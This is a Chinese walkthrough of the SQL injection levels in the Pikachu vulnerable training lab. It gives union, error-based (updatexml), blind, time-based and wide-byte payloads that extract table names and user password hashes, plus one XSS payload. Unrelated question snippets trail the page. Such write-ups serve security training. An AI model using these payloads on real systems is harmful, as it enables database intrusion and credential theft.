- 使用 Spring Initializr 创建 Spring Boot 应用程序
- 在Spring Boot中配置Cassandra
- 在 Spring Boot 上配置 Tomcat 连接池
- 将Camel消息路由到嵌入WildFly的Artemis上
哦,SQL注入漏洞,可怕的漏洞。
提示是数字型注入,post方式传参,那么不需要用引号闭合,直接注入就可以了,在burp抓包发送到repeater模块进行SQL注入
修改POST数据,首先进行逻辑判断:
id=1 and 1=1#&submit=%E6%9F%A5%E8%AF%A2
返回正常,然后获取字段个数:
id=1 order by 2#&submit=%E6%9F%A5%E8%AF%A2
可以看到有两个查询的字段,然后查看回显位:
id=-1 union select 1,2#&submit=%E6%9F%A5%E8%AF%A2
1和2均成功回显,有两个回显位,然后查看一些目标数据库的信息
id=-1 union select database(),version()#&submit=%E6%9F%A5%E8%AF%A2
查看pikachu库里的表
id=-1 union select 1,table_name from information_schema.tables where table_schema='pikachu'#&submit=%E6%9F%A5%E8%AF%A2
查看pikachu库的users表的字段
id=-1 union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users'#&submit=%E6%9F%A5%E8%AF%A2
查看pikachu库的users表的字段id、username和password值
id=-1 union select concat(id,'~',username),concat(password) from pikachu.users#&submit=%E6%9F%A5%E8%AF%A2
md5解一下密,至此sql注入成功
关键查询语句:
$query="select id,email from member where username='$name'";
sql注入闭合字符串之后query变量是这样的:
select id,email from member where username='kobe' and 1=1#'
这样就可以闭合语句进行注入了,以下为payload
kobe' and 1=1#
kobe' order by 2#
1' union select 1,2#
1' union select database(),version()#
1' union select 1,table_name from information_schema.tables where table_schema='pikachu'#
1' union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users'#
1' union select concat(id,'~',username),concat(password) from pikachu.users#
根据提示看应该是模糊查询,用%'闭合语句即可注入
这是关键查询语句:
$query="select username,id,email from member where username like '%$name%'";
以下为payload
ko%' and 1=1#
ko%' order by 3#
1%'union select 1,2,3#
1%'union select version(),database(),user()#
1%'union select 1,2,table_name from information_schema.tables where table_schema='pikachu'#
1%'union select 1,2,column_name from information_schema.columns where table_schema='pikachu' and table_name='member'#
1%'union select email,username,pw from pikachu.member#
另外一提,查看源码发现提示有一个xss漏洞
payload:
-1%' UNION SELECT '<script>alert(1)</script>',2,3#
效果:
这道题比较特殊,sql注入做到现在已经知道,闭合sql语句很重要。
本题的提示就是“管tmd的什么型,能够制造出闭合,就是本事”
有的教程在一步一步进行闭合,而我用的方法是模糊测试fuzzing
首先抓一个搜索的数据包,然后发送到intruder,将kobe后面设置为payload
然后加载fuzzing字典,下载链接在这:SQL注入Fuzzing字典
然后开始attack,可以看到正常回显的数据包长度为34031
那寻找包长度为34031的,它的payload就是成功闭合的
这个payload没加注释符,经过我自己测试得到了新的payload:
kobe') and 1=1#
查看源码,原来是字符串外面加了个括号,所以需要用引号和括号闭合
$query="select id,email from member where username=('$name')";
闭合已经完成,现在可以sql注入了
1') union select username,pw from pikachu.member#
updatexml(目标xml文档,xml路径,替换查找到的数据)
concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,显示出要查的对象。
这段话来自:remon535
xml路径如果不是XPath格式,则会报错,显示出非法格式内容,这里面可以执行sql语句。
updatexml(1,concat(0x7e,payload,0x7e),1)
在payload区输入sql语句就可以了
最终的目的是使其报错,至于拼接的值多随便,并不局限于0x7e。
来看一下具体的操作。
点击注册,抓取注册包。
发送到repeater,写入payload
and UpdateXML(1,concat(0x7e,database(),0x7e),1))#
语句执行成功,以后在database()位置写sql语句就可以了
username=1' and UpdateXML(1,concat('~',(select concat(username,'@',pw) from pikachu.member limit 2,1),'~'),1))#&password=2&sex=&phonenum=&email=&add=&submit=submit
其中limit 2,1
2表示的是从搜索到的第三个数据开始,1表示的是显示一个数据
结果如下:
做法和insert注入一样。在修改个人信息那注入即可。
关键源码:
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
正常的sql语句:
insert into member(username,pw,sex,phonenum,email,address) values('test123','cc03e747a6afbbcbf8be7668acfebee5','','','{$getdata['email']}','')
报错注入之后的sql语句:
insert into member(username,pw,sex,phonenum,email,address)
values('test123'and UpdateXML(1,concat(0x7e,database(),0x7e),1))#,'cc03e747a6afbbcbf8be7668acfebee5','','','{$getdata['email']}','')
关键源码:
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
正常的sql语句:
update member set sex='1',phonenum='2',address='3',email='4'
where username='{$_SESSION['sqli']['username']}'
报错注入之后的sql语句:
update member set sex='1' and updatexml(1,concat(0x7e,database(),0x7e),11)
and '',phonenum='2',address='3',email='4'
where username='{$_SESSION['sqli']['username']}'
delete注入,顾名思义即是在delete语句进行注入,闭合语句即可以注入:
关键代码:
$query="delete from message where id={$_GET['id']}";
payload:
http://192.168.171.30/pikachu/vul/sqli/sqli_del.php?id=1+and+updatexml(1,concat('~',(select+database()),'~'),1)
http://192.168.171.30/pikachu/vul/sqli/sqli_del.php?id=1+and+updatexml(1,concat('~',(select+concat(username,'%23',password)+from+pikachu.users+limit+1,1),'~'),1)
登录,查看页面提示,可以判断自己的访问信息存到了数据库里。
猜测是通过http头信息判断访问的信息的,修改值试一下:
应该是insert报错注入,按照之前的方法注入就行了
payload:
1'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '
1' and UpdateXML(1,concat('~',(select concat(username,'@',pw) from pikachu.member limit 2,1),'~'),1) and '
结果:
正常执行的SQL语句
insert httpinfo(
userid,ipaddress,useragent,httpaccept,remoteport
)
values(
'0','00','1','000','0000'
);
SQL注入之后的SQL语句:
insert httpinfo(
userid,ipaddress,useragent,httpaccept,remoteport
)
values(
'0','00','1'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '','000','0000'
);
布尔盲注,输入不存在的值之后只会显示不存在,联合查询SQL注入不会回显。
只能通过逻辑判断来SQL注入。
以下为payload:
kobe' and 1=1#
kobe' and length(database())=7#
库名长度7
kobe' and ascii(substr(database(),1,1))=112#
kobe' and ascii(substr(database(),2,1))=105#
kobe' and ascii(substr(database(),3,1))=107#
kobe' and ascii(substr(database(),4,1))=97#
kobe' and ascii(substr(database(),5,1))=99#
kobe' and ascii(substr(database(),6,1))=104#
kobe' and ascii(substr(database(),7,1))=117#
库名pikachu
------------------------------------------------------
kobe' and (select count(table_name) from information_schema.tables where table_schema='pikachu')=5#
表个数5个
kobe' and length((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1))=6#
第二个表长度6
------------------------------------------------------
kobe' and (ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1,1)))=109 #
kobe' and (ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),2,1)))=109 #
以此类推,表名member
------------------------------------------------------
kobe' and (select count(column_name) from information_schema.columns where table_schema='pikachu' and table_name='member')=7 #
表有7个字段
kobe' and (select count(*) from information_schema.columns where table_schema='pikachu' and table_name='member' and column_name='username')=1 #
kobe' and (select count(*) from information_schema.columns where table_schema='pikachu' and table_name='member' and column_name='pw')=1 #
表中有username和pw字段
------------------------------------------------------
kobe' and (select count(*) from member where username='kobe' and pw='e10adc3949ba59abbe56e057f20f883e')=1#
存在username为kobe并且password为e10adc3949ba59abbe56e057f20f883e(123456)的数据
时间盲注和布尔盲注相似,只不过是通过响应时间来进行逻辑判断。
以下为payload:
kobe' and sleep(5)#
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
if(expr1,expr2,expr3)#
如果expr1为True,则if()返回值为expr2,否则返回值为expr3。
重要字符的url编码:
' %27
\ %5c
\' %5c%27
%df\' %df%5c%27
关键代码:
function escape($link,$data){
if(is_string($data)){
return mysqli_real_escape_string($link,$data); //转义特殊字符
}
if(is_array($data)){
foreach ($data as $key=>$val){
$data[$key]=escape($link,$val); //递归转义
}
}
return $data;
查看源码发现输入的数据被escape函数转义了,这个函数主要起作用的就是mysqli_real_escape_string函数
mysqli_real_escape_string($link
,$escapestr
);
参数 | 描述 |
---|---|
$link | 必需。规定要使用的 MySQL 连接。 |
$escapestr | 必需。要转义的字符串。会被转义的字符包括 \n、\r、\、'、" 等。 |
转义后的字符前面会加一个 \
,它的url编码是%5c。
对输入字符转移之后单引号就不能成功闭合,
输入name=kobe'
会转译成name=kobe\'
,
这样子无法闭合字符串进行注入。
但是在MySQL中使用GBK编码时,会认为两个字符是繁体中文,这样子用%df就可以闭合字符串了
输入name=kobe%df'
转义成:name=kobe%df%5c'
因为是GBK编码,会认为%df%5c是一个汉字,然后 \
对单引号 '
的转义失去效果,成功闭合字符串
payload:
kobe%df' union select username,password from users#
效果:
所以我实现了ciphersaber-1 .它几乎可以工作,我可以解密 cstest1.cs1。但我无法让 cstest2.cs1 正常工作。 输出是: The Fourth Amendment to
更改 unsat 查询中断言的顺序后,它变为 sat。 查询结构为: definitions1 assertions1 definitions2 bad_assertions check-sat 我使
就目前情况而言,这个问题不太适合我们的问答形式。我们希望答案得到事实、引用资料或专业知识的支持,但这个问题可能会引发辩论、争论、民意调查或扩展讨论。如果您觉得这个问题可以改进并可能重新开放,visit
我的应用程序用于使用 wifi 进行实时视频流和录制(音频和视频)。使用以下依赖项: repositories { maven { url 'https://raw.github.com/iParse
我正在使用 Delphi,并且我想在我的应用程序中使用 ActiveX 组件(用于压缩)。这会让我的程序更容易受到病毒攻击吗?我的程序是一个备份应用程序,它使用 FTP 和套接字来传输文件和消息。我的
我用这个函数来防止SQL注入(inject) function cleanQuery($string) { if(get_magic_quotes_gpc()) // prevents du
最近我在向我的 friend 解释参数化及其优势,他问我在安全性方面它比 mysqli_escape_string 有什么好处。具体来说,您能想到尽管输入字符串被转义(使用 mysqli_escape
我想我在最新版本的 Highstock 中发现了一个错误: 定义了以下 RangeSelector: rangeSelector: { buttons: [{ typ
我在阅读有关 C 语言字符串中的漏洞的文章后,发现了这段代码。谁能给我解释为什么会这样?提前致谢。 int main (int argc, char* argv[]) { char a[16];
我最近浏览了 php 等的 emacs 模式,并决定选择 nXhtml。但是,我不断收到以下错误:每当我打开一个 html 文件时,整个文件都以蓝色突出显示。不用说,这很烦人。我认为这可能是因为我的
我被分配到我公司的一个遗留 Web 应用程序,在研究源代码一两天后,我发现了一个类似于以下内容的 SQL 注入(inject)向量: mysql_query("SELECT * FROM foo WH
在坚持代码分析错误的过程中,我正在将我的属性更改为具有私有(private) setter 。然后我开始尝试更多地了解为什么。根据一些研究,MS 说 this : A writable collect
我最近开始使用 AngularJS,我想我遇到了一个奇怪的错误。 首先,这是一些工作代码: 查看: Delete Num
阅读时djangobook chapter ,我遇到了提到 csrf 漏洞的部分,其中注销链接被放置在隐藏的恶意站点中。 在我使用 django 创建的 Web 应用程序中,我使用了类似的注销链接 基
以前,在我的应用程序中,我得到了一个 NPE,并且通过在 NullPointerException 处设置断点,可以获得中断、堆栈跟踪(在“调试”窗口中)以及“变量”窗口中的当前变量。 但是,现在其他
我下载了 sponza_obj.rar (sponza.obj + sponza.mtl) 和 sponza_textures.rar Crytek 网站。看起来缺少gi_flag.tga。我在哪里可
在我的应用程序中,我们有许多用户,他们都与不同的调用中心相关。在 URL 中,有一个向后的 hack,他们可以在 ? 后面输入 call_center=number。它将引导他们进入不同的调用中心数据
我正在建立一个带有 SQL 注入(inject)漏洞的网站用于测试目的。但是,我只想配置 SQL 盲注。我有这个 PHP 代码: NEW
我们有一个 ASP.NET/C# 网站。我们的开发人员在亚洲离岸,我刚刚发现他们一直在网站前端放置原始 SQL。 我担心我们现在容易受到 SQL 注入(inject)攻击。有谁知道我如何检测网站上的漏
我正在尝试从代码运行 Microsoft Rdp 应用程序。 我有以下伪代码,SonarQube 提示命令注入(inject)漏洞 String rdpFilePath = myObject.getR
我是一名优秀的程序员,十分优秀!